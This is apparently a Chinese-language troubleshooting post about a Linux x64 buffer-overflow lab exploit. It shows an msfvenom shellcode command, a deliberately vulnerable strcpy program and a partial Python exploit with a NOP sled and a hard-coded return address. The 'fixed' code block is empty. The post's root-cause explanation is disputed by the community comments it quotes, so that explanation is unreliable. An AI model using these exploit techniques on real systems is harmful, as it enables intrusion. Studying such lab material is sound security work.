MsfVenom生成的Shellcode在缓冲区溢出中执行失败
问题描述:
在使用MsfVenom生成的Shellcode进行缓冲区溢出攻击时遇到执行失败的问题。即使使用了 -b '\x00' 参数来避免空字节,生成的Shellcode在目标程序的缓冲区中似乎仍然导致了问题。
技术细节:
- 目标环境: Linux x64
- 使用的MsfVenom命令:
1msfvenom -p linux/x64/exec -f py -o shellcode.py -b '\x00' CMD=whoami - 漏洞程序代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15#include <stdio.h> #include <string.h> #include <stdlib.h> int copytobuffer(char* input) { char buffer[256]; strcpy(buffer, input); return 0; } void main(int argc, char *argv[]) { int local_variable = 1; copytobuffer(argv[1]); exit(0); } - 最初的Python利用代码:
1 2 3 4 5 6 7 8 9#!/usr/bin/python from struct import * buffer = '' buffer += '\x90'*177 buffer += b"\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d" # ... (Shellcode字节) buffer += pack("<Q", 0x7fffffffd8c0) f = open("input.txt", "w") f.write(buffer)
问题分析:
通过GDB调试发现,Shellcode在内存中(地址 0x7fffffffd948)的NOP sled(\x90)之后出现了空字节(0x00)。这导致缓冲区仅被填充了约216字节(直到第一个空字节处),而程序需要264字节的payload来覆盖返回地址。因此,缓冲区未被完全填满,程序正常退出,攻击未能成功。
根本原因:
Shellcode本身并不包含空字节(从Python代码中可见其以值 0x09 的TAB字符结尾)。问题在于Shellcode在内存中的位置靠近栈指针(rsp),其内部的push/pop逻辑与之产生了不良交互,可能意外地将 0x00(空字节)压入栈中。
解决方案: 调整payload的结构,将Shellcode放置在NOP sled之前,以避免其push/pop操作干扰栈内存。
修正后的Python利用代码:
|
|
结果: 此修改解决了问题,使Shellcode得以成功执行。
社区讨论摘要:
- 有经验的安全研究员指出,该Shellcode使用的是标准的Shikata ga nai编码器(一种简单的XOR操作),并通过字面量池技术调用execve。它向栈压入的数据量很小,且肯定不会压入空字节。
- 栈指针靠近Shellcode代码是一种常见情况,它通常不会产生空字节,而是导致更难以预料的行为(例如数据被当作代码执行)。
- 建议深入理解问题本质(很可能是传递payload的方式有误),因为漏洞利用设计需要严谨,不能马虎。